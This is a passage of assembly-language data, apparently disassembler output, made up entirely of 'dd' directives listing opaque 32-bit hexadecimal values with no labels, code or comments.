dd 0B9F1E005h, 70803E77h, 795A8A21h, 0BDE6A6h, 158C42A2h
dd 7961EEC6h, 106B0D00h, 2D962882h, 10F060E8h, 2A3E5C02h
dd 0F3130A0Eh, 8022AB5Bh, 28C36544h, 233F05B0h, 2BAED2Dh
dd 84E90EECh, 0E27759C0h, 1C0066EAh, 9A6BFD15h, 87DB8Dh
dd 4BECAB40h, 0BE6AD0C7h, 360159E8h, 20288E8Fh, 0FA47C564h
dd 0D7D81420h, 0BD3300D3h, 1FAA0D8Ch, 800FD04h, 57CCD4A7h
dd 0DCA4EBh, 0D3C2C39Ah, 0AF69944Bh, 32B66F00h, 456E1E90h
dd 0BFA1077Ch, 8F714199h, 0D0BEEB27h, 6B9243Bh, 0AFBA3Ch
dd 0C3D96125h, 7529CE0h, 7FC1219Fh, 208AF00Ch, 0A00C410h
dd 0BC862C06h, 9008D028h, 39E60E00h, 0C9C07803h, 375679DCh
dd 0E5FA3C01h, 0EB6AB354h, 3E0E8FD8h, 7E00AAB2h, 257AD5F1h
dd 0D13E0ABh, 0B900CE62h, 53C3877Dh, 99110091h, 0F92D4542h
dd 0D8008EE6h, 0FF4386D3h, 598072h, 0FD6ED753h, 33F49722h
dd 99363D00h, 0DB5E4B3Eh
dd 852000A4h, 0E8A0ED3Ch, 5A00FF1Bh, 681DF6ADh, 3A63579h
dd 65DC3F2Ah, 0FDB1D7D3h, 1010804Eh, 705D8AAAh, 75D900BDh
dd 6DA71A08h, 37000D52h, 91725BA4h, 2C844AA0h, 911EF2h
dd 20BD7A8Fh, 240240F6h, 766DB0E9h, 9D626105h, 21C26D0h
dd 981174B2h, 0D0809CCBh, 3A0601C6h, 0B4736E00h, 4D518B8Ch
dd 74290089h, 1775A2EEh, 100F018h, 8499C852h, 0F7B40Ah
dd 49DED6CDh, 7DC72DBBh, 0D1DA3Dh, 84F2904h, 0E20F11h
dd 53E43CB1h, 0BC929307h, 2181BA00h, 0ABE166D0h, 772700DCh
dd 5218FB6Bh, 8B0025B8h, 8445D5CDh, 8772C3h, 0F3F80A98h
dd 5DEEDDBh, 0A9363Ch, 5688A70Fh, 5C212E60h, 1700120Ch
dd 43FF29B7h, 1D00CD90h, 0FD38DBBAh, 0F6B4F69h, 0F0313560h
dd 7626829Ch, 0BEE01581h, 0C80011E2h, 3CA30733h, 38089814h
dd 1E803206h, 69375E4Dh, 0DD0046F8h, 9BC12BB6h, 262098h
dd 88EBFB8Ch, 0A3B16D31h, 1B1C3Dh, 0F3CD4D46h, 0C27FC6h
dd 53AE4E72h, 0B8E1E78Ah, 3F01291Eh, 1BE68B8Fh, 0AD408850h
dd 52A3092Fh, 0B700FBC9h, 5B6605BFh, 44213800h, 5DCAD309h
dd 0EB03005Eh, 3E8857B7h, 0CF005C3Bh, 83908CEEh, 0E3593C4h
dd 0A85D640Ch, 0DD808BAEh, 4A34D5DAh, 12F37095h, 662367h
dd 79929068h, 0A9009C39h, 73A4466Eh, 1FFB8F43h, 86D77D0Dh
dd 108EFE6Dh, 0A6D31E06h, 1212ECEh, 9E129A11h, 20257E75h
dd 0DE0086E4h, 5FEFED03h, 4D9B1Bh, 1CAF38D6h, 90548D87h
dd 0D5E24500h, 23364F0Bh, 583F008Fh, 0D9834662h, 0E70305EDh
dd 0A060BE26h, 771FB870h, 50E824BCh, 88B80154h, 7F7E18h
dd 726142h, 10584CE2h, 0B975EA85h, 6135D526h, 7F322A00h
dd 8BD884h, 0EF165495h, 1A9BBFCAh, 493ACD00h, 4BF6BDE7h
dd 89A00414h, 90D6856Fh, 0FD2E3654h, 39B34884h, 0AD603F30h
dd 2900726Ch, 0E3E1A1C0h, 62FBC8h, 0F21EC9Eh, 65EA898Dh
dd 667EACA0h, 83944554h, 40789D02h, 32B17Ch, 0A321ADA9h
dd 5DF9080Fh, 5045C2FDh, 0F0C8C0A5h, 0C1C41EA1h, 81B50036h
dd 6B31B43Ch, 7A01E67Ch, 644E8C07h, 0C3C4B238h, 8F16051h
dd 29E4BAC2h, 42235A01h, 9B0FC48h, 0C01CC3FBh, 766B0252h
dd 97100032h, 0E6FE4C2Eh, 8C1CF7F2h, 0B180B512h, 564EC11Eh
dd 0E1A805CCh, 41DFD4D9h, 5F63E88h, 4CDC23E5h, 0CA1600CFh
dd 0BFB3A179h, 2880028h, 0F873A6F4h, 3026486h, 9A58A48Ch
dd 2EF18007h, 7563430h, 1C09B75h, 0EB71724Eh, 0A413EC48h
dd 7303677Ch, 0AE12E590h, 0A347B2A0h, 0C83EE6A0h, 90C8C0D7h
dd 0C4FD03A4h, 63BE210Ch, 0E698A4D0h, 355A9000h, 0D8EFF644h
dd 2B680026h, 75DCB596h, 3304044Eh, 71A53E17h, 0D83CE980h
dd 17C9FA30h, 97251Ch, 2AFFD00Dh, 453DE73Eh, 0EDF680E9h
dd 714F86F1h, 4AE400B0h, 0C45E0B75h, 940958DBh, 819AEE64h
dd 82992974h, 8C37DCh, 0CD704F08h, 8D5BB328h, 5DC8FF1Fh
dd 85E21B43h, 499F90ECh, 4DCD7FF9h, 414C78D5h, 0AB3FB200h
dd 48CA8718h, 7A8D1C12h, 0E08B240Eh, 5BDBE135h, 1E817B15h
dd 7C7C2046h, 983B0707h, 99F3051h, 6F004AF5h, 0CE45BC0Ch
dd 59226F1h, 214C9336h, 0C944805Dh, 0E52C82A0h, 51C3841h
dd 0A8009113h, 0B9C76ABFh, 2F220F76h, 48E05EBEh, 810FD83Fh
dd 63BF4600h, 0E8340C9Ch, 892E0353h, 52C24403h, 0B5C710B0h
dd 6A83C800h, 0EB5C7CE1h, 0EF500186h, 8BDA3CC9h, 0C2C8806Fh
dd 7824EDC0h, 0BB643D72h, 0C7A8B40Ah, 0C51B04E8h, 8F2D4029h
dd 0E4367197h, 0DA993C92h, 131E5000h, 95BACDDCh, 654E6100h
dd 23CB740Bh, 64510058h, 1490F837h, 0B0009578h, 7032B5ACh
dd 0B8A90Ch, 659FAB60h, 371B514Bh, 0F057900h, 32A2E813h
dd 58C70036h, 4221E5EFh, 0C830E944h, 27346C81h, 2530743h
dd 0E0EA7DD7h, 91AF0358h, 0C171CE12h, 0B415C00h, 0E379640Dh
dd 0F5782FCh, 0A862F6FCh, 54ACC73Ch, 0AFB5906Dh, 0FF70B29Ch
dd 80BF113Ch, 0DA09741Fh, 0C5012Bh, 665F6733h, 0DDB9B6AAh
dd 8561F000h, 0F418B1AFh, 0C786A0A8h, 6294013Bh, 0EB67C215h
dd 7059C9DCh, 0E500220Ch, 746EB590h, 7F89B1h, 37077BFCh
dd 0CE0BB614h, 0D9A00EF0h, 9971CC29h, 0D7AC3D00h, 1E4F5875h
dd 423000FAh, 0DC709FDh, 0E5007D7Ch, 399FD8A2h, 50775CDAh
dd 36FE086h, 5AE4795Bh, 0E802EAFh, 0E6E28F02h, 706DF0Ah
dd 5604F473h, 0DC902674h, 175CE29Ch, 8C4B41h, 0AA3FE095h
dd 60BACB95h, 2100567Dh, 0BECD9EF7h, 1D43D516h, 81899088h
dd 0F4F9E4DEh, 505FCCB5h, 1D7F2E00h, 0F814866Dh, 0BEA91D31h
dd 9F810077h, 9062304Fh, 24712800h, 7F2383A2h, 0B8A50089h
dd 9BB901EFh, 5D00756Fh, 57F07788h, 14A89303h, 0E4C50E6Dh
dd 25BF017Dh, 53FD3580h, 3370FC5Eh, 79447F3Ch, 716D6714h
dd 6FAC07F0h, 83FBEFFCh, 0A83BA804h, 37BEF5h, 96A3F94Ch
dd 8F55826Bh, 0E4DE0128h, 0AA326910h, 0B9455081h, 0DBEBE0E3h
dd 3CD97400h, 6A727735h, 0B5D7007Ch, 0DF31B0F3h, 0F112EE58h
dd 550B0D34h, 9CE003BBh, 32FDF1D3h, 90959DCh, 79F3AF9Bh
dd 5B30B020h, 0D0C1C750h, 46AD32FFh, 0B4AC31FDh, 6F42FD1h
dd 0BCCC9202h, 0C1D0A082h, 0F178A38h, 3C30EB78h, 87C634A4h
dd 6F9380C5h, 3218DD96h, 62591644h, 0AADE0077h, 0D794B675h
dd 173EF4E5h, 660A803Ah, 0A4EF2328h, 0DDDC03DAh, 0B352D67Fh
dd 392AAFE8h, 5D33B2F4h, 0C0F368D5h, 39F2DACh, 0B55813CBh
dd 90A08255h, 0B962BD99h, 4224EFA1h, 0F70C4051h, 26AB0298h
dd 2D6CE7Fh, 95706840h, 7321D767h, 426080FBh, 94EDDE4h
dd 0DA570721h, 0F7BF3400h, 87005E43h, 7839B784h, 5D5D252Dh
dd 1D00988Dh, 930C59F7h, 0F604243Ch, 36CE3BBEh, 0A623A380h
dd 49460060h, 7F31672Ch, 0BE07B190h, 91E90EA3h, 0BB865E20h
dd 7AF700D2h, 448A251Eh, 66FC06CAh, 8B003175h, 8F2036Ch
dd 0AA14C29h, 531609ACh, 3CBF00E0h, 4DF17AC8h, 9520E7E6h
dd 0B76502C3h, 751D9B08h, 8CBE2060h, 4C96191Eh, 0F8BFE607h
dd 0D3C11137h, 4860B749h, 1CB200B1h, 237C3C04h, 0C700B8E0h
dd 554FBB2Ch, 4826BADEh, 0B10048E3h, 0F4154DB4h, 3E00B363h
dd 8625CAA6h, 44F32Fh, 0CB83B043h, 0C5F67FDFh, 5800ECECh
dd 6B6489A6h, 4893AC44h, 690194F5h, 28293E3Ah, 0A6F1C0DEh
dd 70388400h, 2BCA64E3h, 0F48200AEh, 0F88B85E0h, 0AD7E2599h
dd 4D177E05h, 0F0006F20h, 31B332FEh, 0C6E1484Ah, 4E95BB07h
dd 88EEB063h, 5F120D7Ch, 0FA0FC6A0h, 4330EF27h, 0B554D5CDh
dd 8B779440h, 0BF6158h, 1E5EA366h, 4F7B148Eh, 6E092300h
dd 0E2080701h, 0ADD0027h, 5E583BABh, 0B4076AD9h, 534F5968h
dd 0ED54C7A0h, 793200E0h, 75FD943Dh, 0DCB89366h, 1B5DF201h
dd 55484C3Fh, 0B1AA3089h, 0CED100A0h, 0F42C4BFBh, 58016489h
dd 5A7FAD2Fh, 0AA23C0E6h, 2795071Dh, 0E0C391C5h, 0A2BFB62h
dd 9E2AC200h, 88C6FA30h, 0CB37F809h, 3182D828h, 10E0A4EBh
dd 0F1005CD1h, 31B25A68h, 7647C6C7h, 4DA0AFFh, 0BC91C9h
dd 0DFC220C0h, 0FE00B8ECh, 83381B7Ah, 5CA0B93Ah, 39019276h
dd 0CABB4279h, 46688026h, 0F3B70D13h, 3A43018Bh, 0A2409CA7h
dd 6485CC1Ah, 0CAD63F01h, 25D45E0Eh, 1E042EFCh, 0A3EF63h
dd 0E1221411h, 5F07D75Ch, 4DB31C24h, 0EEA9C931h, 0EDA55C4h
dd 45AB4D6h, 6EBC3DC0h
dd 1A70CC48h, 41EF8C07h, 80ABE143h, 22966B3Fh, 518413FFh
dd 953D0C17h, 0EE006110h, 2569941Fh, 7FE78E75h, 0D6930050h
dd 23667216h, 0D49A3FF1h, 0C777D900h, 4CF7EA51h, 2E54B2A8h
dd 0CCC9E4h, 5A31A2EDh, 921C1DFCh, 8FC019CBh, 0F1873F6Fh
dd 0A4758Bh, 0FD77687Eh, 23010C9h, 263C6638h, 8001F14h
dd 0F4289C3Bh, 0C7230BBEh, 0A48727F5h, 211EB31Bh, 5A518BE0h
dd 7A584A00h, 0E7102A6Bh, 2EB335EAh, 0D5500098h, 274C660Bh
dd 0C0A87E4Fh, 0E3F39D00h, 0C573F21Dh, 0AC2A8901h, 82FAA249h
dd 5130B1D1h, 0B52E1F9Dh, 1FAF0E15h, 64316CE0h, 6B00C763h
dd 0FD8FA469h, 0E3C2EFEh, 32D8791Dh, 0FA3AB7C0h, 4B3CEF15h
dd 0AEDC9DEBh, 4045120Fh, 0CD97CB71h, 23500010h, 1D41DB54h
dd 0AA01B3C1h, 0E1569506h, 0DCEC78C2h, 132F01B6h, 907117F5h
dd 0BAF7C045h, 37BFF90Bh, 0F2FD8E7Dh, 1486C00h, 2CAF60h
dd 55AE4FF0h, 9E869746h, 979D4439h, 0B4007D70h, 0AD15A80Ch
dd 2F260050h, 0D6D0DAB4h, 0BA0F3EDFh, 1D4CDDh, 0A8950146h
dd 0A4C54856h, 0C3C9A200h, 63EDBFAEh, 4E9F0F03h, 0C1DABC06h
dd 0BBFCC011h, 42B50E75h, 9EE06D4Bh, 86B26319h, 8A00BF70h
dd 0D77620CCh, 0E30281h, 34DBDFC0h, 78D83A94h, 82E251ECh
dd 877EED3Ch, 0AEAF6569h, 9FDE24A0h, 0F0450052h, 3B6E79Ah
dd 2CF2B38Eh, 26DB0F30h, 2438D390h, 18D40C8h, 7DA14BEEh
dd 2A0C303Dh, 0A02B2C00h, 24297E43h, 0AB970D25h, 0E421F736h
dd 7A00A54Bh, 3090A4FAh, 0C3C6CDC0h, 36E86FF0h, 972884F0h
dd 0E440F44Eh, 179BF1CCh, 87B62C0Dh, 569E009Ch, 1A40341Bh
dd 8805B102h, 4898392Dh, 0C7D154h, 0B69B0E16h, 0D9FE0167h
dd 39E05939h, 3AE780A5h, 0BCCD78ACh, 0AFE5006Ah, 0DF730BCCh
dd 1700890Fh, 4BE0A8A0h, 35925Eh, 71DA54EBh, 335B10E8h
dd 12B23900h, 8A5E7A23h, 9EB90183h, 0ABEBA45h, 7177F4F3h
dd 0E59FCC00h, 0C8D36094h, 6D6A00D2h, 2EE43410h, 0D5022009h
dd 46866336h, 0C6C0777Bh, 5F1365D9h, 6E0E31B4h, 4B001780h
dd 0C0602D25h, 42CF0035h, 6D7ADB46h, 0DC004C70h, 16C48751h
dd 7A76D766h, 0C11C586Fh, 9201CF3Ch, 29122F03h, 91C024C2h
dd 0B439BB00h, 925AA609h, 276C00A7h, 7CA938B3h, 5D01A175h
dd 6B8085ECh, 0B870CBF0h, 0CFA5004Fh, 5BCA10C4h, 0B9007CD0h
dd 7A766FAAh, 0B06D7543h, 29151CA4h, 4889C086h, 6C45AACh
dd 6E565D00h, 1EAF4A30h, 63690188h, 74A5D610h, 287BD281h
dd 1FAA8A81h, 0DCDC4F54h, 88E8001Eh, 4427C519h, 730160CBh
dd 25B3D4E2h, 2FCC9BA8h, 247A0036h, 99111F61h, 390063DBh
dd 9B509C8Ch, 527C468h, 87845CF9h, 1275C017h, 0DAF2DD24h
dd 4ED58001h, 3C312C3Dh, 8D1DE8h, 2AE59818h, 0D1101C1Fh
dd 6D7BFC00h, 21192340h, 7D7898F6h, 376000CFh, 0D717D36Bh
dd 400BEFCh, 8B3896C0h, 3B2150AEh, 0A380E252h, 346E07B2h
dd 2000D778h, 3DBBCEF7h, 73CA715h, 0C3FEA99Ch, 0B442F090h
dd 99001D33h, 922F39E1h, 0DB6D07h, 4B689789h, 62B3524Eh
dd 0F4EADF01h, 0B517DD05h, 0A2E30h, 747016B6h, 916CA521h
dd 203DF4CFh, 2DF873Ah, 0DBB500F4h, 5971AEBFh, 0E31232B6h
dd 0B4008A74h, 7E26987h, 2C431794h, 0B05820C4h, 0AB382AFCh
dd 260CBC31h, 0B500108Dh, 0FF983392h, 485A78h, 5A2637ACh
dd 88008B6Bh, 41F8B1AFh, 0BA850894h, 0B5E648h, 0D8FE839Bh
dd 1F271AC6h, 0A903B006h, 0C0202848h, 0C8E10288h, 277156E7h
dd 28F043Ah, 0ABBB0393h, 992484BEh, 4BC6C803h, 1FA03883h
dd 0AD982B06h, 82DF660Ch, 0EEF9508Fh, 65AC2C27h, 0F1E93011h
dd 0D0000399h, 1A7C96FFh, 31F51E7Fh, 42219AC6h, 1AFDF33h
dd 40C1F25Fh, 66FF0A0Ch, 1C2FE58h, 231781BEh, 80F60BC3h
dd 8EBC5F70h, 75F60Dh, 21C4FD0Ch, 0BAA3CEC7h, 3589B412h
dd 42E38C00h, 0EFD2D9h, 7EEBF661h, 0C7AC1608h, 0C0395F00h
dd 4AC5691Fh, 0A1EE52h, 7E4D0750h, 0A880BA3h, 0B1EFFC01h
dd 70B33EC3h, 0C280F4h, 0F9F29964h, 0EF89334Fh, 0DDB81A00h
dd 7B58DCC1h, 0ABAF007Eh, 73FEDA0Dh, 0E51FB7A2h, 5A00C5BCh
dd 1227C6B4h, 0B62A00D5h, 8A3BA522h, 0FA058C0Ah, 885D601Eh
dd 8B00A412h, 9EFFBEADh, 0ED7C3Bh, 2FD117A3h, 533388C4h
dd 82214800h, 2CBA5538h, 259D0EB8h, 0EFA0A647h, 7631C5FDh
dd 0A3709B1Eh, 0BE736200h, 987CF0h, 5ECB52E6h, 0ECC301B0h
dd 926C4300h, 46C6C4D5h, 28B9006Dh, 0CC2B6A17h, 0E51CBD13h
dd 0C4809DB2h, 0C7261EF5h, 5850E432h, 850052B4h, 1A8E7840h
dd 407D2A4h, 684F0FB2h, 95CC4B63h, 4C2D44Ah, 2E00DE55h
dd 9246DC47h, 0A7A2E1D3h, 0FA07838h, 0DA000CB4h, 0C5F95B65h
dd 7EC6E699h, 131F075Dh, 61848A80h, 0FCAA71A7h, 3062EEDFh
dd 22C32D29h, 3B22932Bh, 4A212272h, 2210124h, 74EF117Ch
dd 1238A411h, 85641015h, 0CB08E389h, 84496D44h, 778E9D0Eh
dd 4297C87Dh, 3D24361Bh, 1195F621h, 8111752Bh, 0A6911274h
dd 0ED298B64h, 23536441h, 1C216512h, 0BAC43F4Dh, 1A2B009Ch
dd 4A400630h, 2D00D59Dh, 3AEBF71Dh, 30311E38h, 0E5262866h
dd 0CB01EC18h, 2E7F58CFh, 0ACE80FDEh, 0B22301C1h, 85405220h
dd 455AC89Fh, 2C7A1439h, 0D20051F6h, 0FE950906h, 0B18C0096h
dd 9E798988h, 0C50E981Bh, 0A0E69B7Ch, 54FFA46Dh, 854A3D53h
dd 6C04C080h, 77ECE4F9h, 132DD01Ch, 0F752C487h, 483902E2h
dd 0EBE7E04h, 0E0C7F4E3h, 24D1EDA0h, 0B505934Bh, 0CD8B832Bh
dd 0C0B3F903h, 0EDDCE811h, 0B80E00A8h, 0FF3E867Ch, 9274888Dh
dd 6458A61Eh, 0C0F6AF80h, 0C071BAA4h, 99BF7860h, 29008504h
dd 0BEA1DFA3h, 3DC9A2B2h, 0E18386Eh, 44978A6h, 0E585C100h
dd 0BD10DE3Bh, 140766Ah, 66B3C4CAh, 700B2725h, 0D200B7F5h
dd 0CC5A999h, 0FA76EF3h, 66E00776h, 8114F5A0h, 11000BF4h
dd 0D8CB8D5Bh, 75A490F8h, 1B681DFAh, 0DA5AC050h, 0ED992CABh
dd 9CA98501h, 264B89BAh, 7DCE198Eh, 5004D820h, 4600111Eh
dd 0F5444768h, 0B9F39h, 3DCA40B5h, 832E8551h, 8C412306h
dd 396A8603h, 7F006D6Eh, 9BD0EF19h, 18000143h, 9239C027h
dd 15B6465h, 0BE999598h, 606CBB14h, 700134F4h, 0D6FB75A1h
dd 0D021C41Eh, 0FF8E89E4h, 6467F0E7h, 8FF63Dh, 786A106Dh
dd 81C83847h, 2D607E00h, 62BFE70Bh, 0FE2CFC20h, 8F9D3C63h
dd 0F1C53D00h, 0A6F05588h, 34581B24h, 56E4C300h, 0F8B6045h
dd 48183773h, 0FBEC6120h, 0C9008D77h, 0D6F55228h, 8BC39Fh
dd 2B79EBBEh, 0AE3C8374h, 0C2B53200h, 910D0385h, 147801FDh
dd 90638A02h, 6F19702Eh, 1807C57Dh, 4B57E84Fh, 0BB093690h
dd 6B5F05D1h, 0A5B34Ah, 81908CFCh, 58C08456h, 8F2B31A9h
dd 108860B4h, 0DF8C7B4Bh, 0A648F470h, 3D310244h, 4088B241h
dd 0A44D6Ch, 5438634h, 0BE2DEF21h, 12C4200h, 0E3F7324Fh
dd 46EE24A2h, 0FFA60004h, 0E0B0976h, 5497A09h, 0A884A014h
dd 7112D30h, 69D2D041h, 0F6FE6021h, 0E37259C4h, 0E886D00h
dd 58AD3864h, 678C00D6h, 0EE5B770Ch, 94077804h, 0C469F7E9h
dd 0DF102F97h, 77FFC3h, 0DBA1D3E0h, 6F5E31BEh, 0E57A9607h
dd 52712908h, 84C0D430h, 0B3EF0A82h, 0C38016h, 32623F73h
dd 42005172h, 9E0CDE26h, 1FE77A70h, 0C0CB2B98h, 78168BE8h
dd 0EFFA3B13h, 0FA6F4800h
dd 503A0496h, 0EA5C0E2Ch, 0C64761A9h, 0E57750D9h, 0C12D035h
dd 0FC00BB12h, 0B6F532DFh, 0D67300E7h, 202F4426h, 770092F3h
dd 0B9A77BE1h, 0F83E695h, 1957D564h, 81FD3EE0h, 560FDB51h
dd 60391F54h, 0BD714A3Fh, 0ACD1004Fh, 7CC6B3A8h, 0BE0222A9h
dd 0B46989AEh, 0D40061CBh, 2F8CE0h, 7C44ADBBh, 54CC0541h
dd 0E3F5950Eh, 45D044Eh, 0AA5BF880h, 718E0098h, 20312EE2h
dd 97EDF2h, 28CD5689h, 275188Ch, 885518E6h, 0AFC9E902h
dd 80095EBAh, 23087CC8h, 11E447h, 2885499Fh, 1D8BC2F8h
dd 11CE348h, 21E4794Ch, 88305410h, 74E0209Eh, 0D38E4F00h
dd 3EB3DC50h, 0E972EDh, 8DA941EEh, 77624291h, 940349h
dd 0F0EAFAB7h, 0F1DB0h, 0A4CF3F81h, 0E1DCA38Eh, 0FC620500h
dd 2D77EA22h, 4EBD0C5Fh, 0A9700ED5h, 6723820h, 7C03A342h
dd 630028D0h, 0BEC68EB3h, 721A3CD1h, 0A21D3DE3h, 0DB97F780h
dd 0E131DAB8h, 88617C03h, 3E0C100Bh, 421EB938h, 6A6D397h
dd 61BA65C0h, 0B276950Bh, 0BB2CA67Bh, 56AF0059h, 86CE8C22h
dd 71758AAAh, 6C76E626h, 0A089410Fh, 6D15E3A6h, 99480006h
dd 0A0EFDFC8h, 0E57169B3h, 13D02400h, 443B8658h, 5FC000FAh
dd 8EA53853h, 0BD02409Eh, 0D69735E7h, 8DE44081h, 9020EDADh
dd 27DDFBA6h, 2F849040h, 564D0024h, 785C7543h, 4A001286h
dd 9A32AC6Ah, 980E201Fh, 0ECD4A095h, 4082482Bh, 0D8E5800h
dd 3E73023Fh, 1BB0E405h, 16C03BC6h, 1D226B8h, 8D12BD16h
dd 0FC315285h, 700D424h, 404F826Ch, 7A3D9D1h, 0A97A42B6h
dd 0FECE1078h, 0C95069C0h, 961C32ECh, 9E899A0Ah, 0BA98803Bh
dd 3CBAFh, 0A77D94A2h, 0A39B386h, 0B61BF907h, 0AF54B56Fh
dd 3E0468C0h, 836D009Eh, 47AB791Dh, 3370E485h, 4D5FFF1Eh
dd 0D8009D16h, 9631B846h, 659A00F2h, 177FDC22h, 97397445h
dd 76D800BDh, 6AF4EB21h, 0A6AC0E07h, 0CF8011E1h, 905D7064h
dd 0BC1A4F00h, 0B0C0A148h, 94BB005Ah, 286DC52Ch, 0F9000803h
dd 0B44FCBEEh, 14899DFEh, 88888AE1h, 8EC6D100h, 3503A1C8h
dd 4800E973h, 0A445648Ch, 0F7B55Eh, 1A49AE41h, 926D6684h
dd 26B90D00h, 52279BF2h, 0F9610459h, 0ACFA748Dh, 6DC700B4h
dd 0DA905A8Ah, 0AC030747h, 62178112h, 38E00A7Fh, 4E7CCF5Eh
dd 521F2B00h, 0EB7768A1h, 117C0089h, 6E673C39h, 99029AE5h
dd 0A957ACA7h, 0EE3840F6h, 5C584893h, 0F330E383h, 8176183Fh
dd 0CAD907D7h, 0A2E8CD95h, 0E2580187h, 0D45360FFh, 0E51F8BCh
dd 0D8EA3D03h, 0E8ECF369h, 501B598Eh, 0B8C2F4E5h, 0D68C0005h
dd 1291F735h, 66B8A04Fh, 68C99500h, 0EABD2F72h, 0A7FE0098h
dd 0A5A38803h, 430090E4h, 0D0323E13h, 3D780C30h, 1A8098B3h
dd 38666B80h, 0B2009CACh, 7327F59Ah, 48C7EAh, 76AD1A36h
dd 78A2052Bh, 34314603h, 0D0B7B185h, 0E41D70C5h, 0F8AB5E7Eh
dd 0F19F0EDDh, 0E23040EFh, 35BCFAh, 0F0AFAC04h, 0ABF3C597h
dd 0D6006FECh, 4886C961h, 72E5F82Fh, 0C331004Ch, 0AA4D7539h
dd 8100222Ah, 1C2FB555h, 7B6A5Eh, 86B71D50h, 0FABA88B1h
dd 453D8D00h, 0F7BBA892h, 8BF3001Fh, 43017B99h, 1009A141h
dd 14FE3Dh, 2D2E3193h, 0D66900E3h, 6FCC4338h, 0AD05A6A1h
dd 925B9DBCh, 0A7C62581h, 0BF15CB40h, 1BAC02CCh, 7ECF5F91h
dd 0B0BC4460h, 1C001F71h, 0A93B4B39h, 0AA1DE5h, 3CCDF607h
dd 1036CBD4h, 0EA118001h, 0C50EDF19h, 0EC85E4h, 0DDE12EBh
dd 0C98A35BEh, 1F75E504h, 0D4805340h, 5E032FFh, 0DE296070h
dd 0D4288147h, 0D9E1D839h, 0A927AA09h, 724280E8h, 0F4BD336Bh
dd 0CB9F1F47h, 10FFC030h, 89349943h, 0E05ECD03h, 0A0E1A2D5h
dd 4FEA3E8Fh, 87148009h, 4E078AD6h, 80E2C812h, 23D0E029h
dd 0E16826BEh, 0CB1900A4h, 22748C6Dh, 0D2ECFB00h, 89EDBF94h
dd 95AC0EB6h, 0AE808A83h, 0BCB4724Ch, 0FED3E100h, 9BBE6386h
dd 384B844h, 79B173F6h, 93FF2F1Eh, 383C9488h, 19CF8024h
dd 161D2517h, 74A8003Fh, 0E5467B31h, 0C0004330h, 935AFCADh
dd 72B1C9h, 87EBBCF4h, 7716E9F7h, 46130D01h, 8945900Bh
dd 12538EC4h, 718CFAh, 288207C6h, 0F2E4E5D7h, 20683E2Ch
dd 0BB917880h, 0B5520B7h, 4A898EAFh, 0F21BAC80h, 80009DA1h
dd 84CC22B0h, 0BDF615h, 42C9EAEBh, 687C089h, 0C5004BB8h
dd 8A2D7E31h, 50742B7Ah, 0FA8BDC54h, 0A24900DBh, 299C8DB4h
dd 0F900013Dh, 1BB6D0BFh, 38E49F65h, 0F8000CCAh, 248BDFACh
dd 6977208Ch, 0E3EA93Fh, 0A09C7994h, 0FC261345h, 0B3A124DFh
dd 2EDE01ACh, 0E48FBD9Bh, 0AF032CA5h, 0F8267E1Fh, 5EF08FADh
dd 2A29261h, 6D084F47h, 0ECE80E9Ch, 0EFF0F1C0h, 0E6DCB400h
dd 642071D1h, 855901CFh, 6EBB3D9Bh, 15A8ECFDh, 0AD751600h
dd 658BC93Fh, 0A2620126h, 61C21CABh, 1EDB20E5h, 0CC5259h
dd 0F75BEE1Fh, 193627h, 3AEF847Ah, 1833DF30h, 76BABB00h
dd 23C421D7h, 592B003Ch, 0C1C37F60h, 11731A94h, 0BD765F00h
dd 84B09172h, 98F9F490h, 0BB863B8Ch, 94DF98CCh, 6A008402h
dd 6B8F851Bh, 0B01C7862h, 0D280AD1Ch, 372BD164h, 881F0082h
dd 0BB42AA32h, 4006735h, 2CB90F87h, 1C558C38h, 8EEA0205h
dd 8C03A9Bh, 0CA881DFCh, 4A977B00h, 0DD4BF713h, 0FF5B0104h
dd 2569BAE2h, 86E8CCEDh, 5C091F3Ch, 4B790048h, 0B63B905Eh
dd 6F6C0030h, 3A197B3Eh, 490305A9h, 8F60946Ah, 4C17A8BFh
dd 7E9700B6h, 50BBCF75h, 380FA567h, 0AEC89278h, 85F46036h
dd 794C712Dh, 27FA00CDh, 6EC95C7Ah, 6A007987h, 0EF7C5DC6h
dd 0D1BDE9h, 3DF75E4h, 0A6968C2Dh, 0E6AE8F05h, 98C81B42h
dd 0EA841102h, 40585DC8h, 0F7F7B8Bh, 39402259h, 0F79C00B6h
dd 0ABAF51Dh, 0DE1403A4h, 0ED200996h, 0D09BA780h, 0A1830500h
dd 2B4EF301h, 0A225005Bh, 96A6D462h, 0D87FDF52h, 65B0B903h
dd 40F73E56h, 1DA9D0AEh, 3326C74h, 0D6F1FE3Fh, 30423CA1h
dd 590BD768h, 1F4BA8Bh, 0FF5CD2A4h, 7A2530h, 51B2B54Ah
dd 0A7EDCFB9h, 7417FA03h, 0B9D873D5h, 0FCE04FE4h, 3FF204F4h
dd 0C3951AEBh, 62C01140h, 0D000F774h, 22B8BA3Dh, 60D869h
dd 0CB0FEA05h, 6DE7F57Fh, 0C7A85C00h, 0EAC5373h, 3E510F8Ch
dd 65E0FCA1h, 5D6E2CB6h, 1EBFB000h, 0E58A995h, 0E978003Eh
dd 4F5F1315h, 715AEDFCh, 974D6C80h, 0A2C40041h, 93A89159h
dd 0ED003F73h, 0F5860C9Ah, 1FD721DFh, 0FA4640E6h, 5242B80h
dd 9E4B57C9h, 2CC6D600h, 537495E3h, 0F5A4098Fh, 4002EE1h
dd 90E6BE81h, 5CFB7A00h, 6160366Bh, 0A3980026h, 23D7F137h
dd 3B14661Dh, 0ADE5671h, 0BAE4ECCCh, 8B05FB00h, 0A6B7EDFh
dd 0A42D5231h, 87E0019Ch, 615B9A1Ah, 0D0494404h, 69D25004h
dd 1FC38B3Ch, 7B036EF7h, 0B055BC21h, 32186B36h, 0C2F01D4Ah
dd 71A295C0h, 0EDB8680Fh, 93248081h, 10855Eh, 820E7D7Bh
dd 0F2475891h, 0B36AF600h, 90B2A5ADh, 740300E7h, 0AFA2B0A8h
dd 3A00389Fh, 6DA623C7h, 131878A9h, 0D0BE1EAEh, 0A2E0A4B4h
dd 0C80ADE03h, 0C8E4728Eh, 6682E73h, 67640CFCh, 0B310C897h
dd 107AC3B5h, 9B35CEh, 4BF808A2h, 5BFA3438h, 51100401h
dd 925490BAh, 78C0363Fh, 0FD3EC1AAh, 7D94986Bh, 9B73E67h
dd 1DDE1300h, 596D371Eh, 9471102Ch, 5C40FF17h, 0D6A54786h
dd 75FD3F23h, 0F04D1C80h, 0EA0FEB69h, 70676137h, 53ECE6E0h
dd 4C8A0437h, 80FA0318h
dd 15FCC7ACh, 2012251Dh, 534B368Eh, 80F984D2h, 0C34948F8h
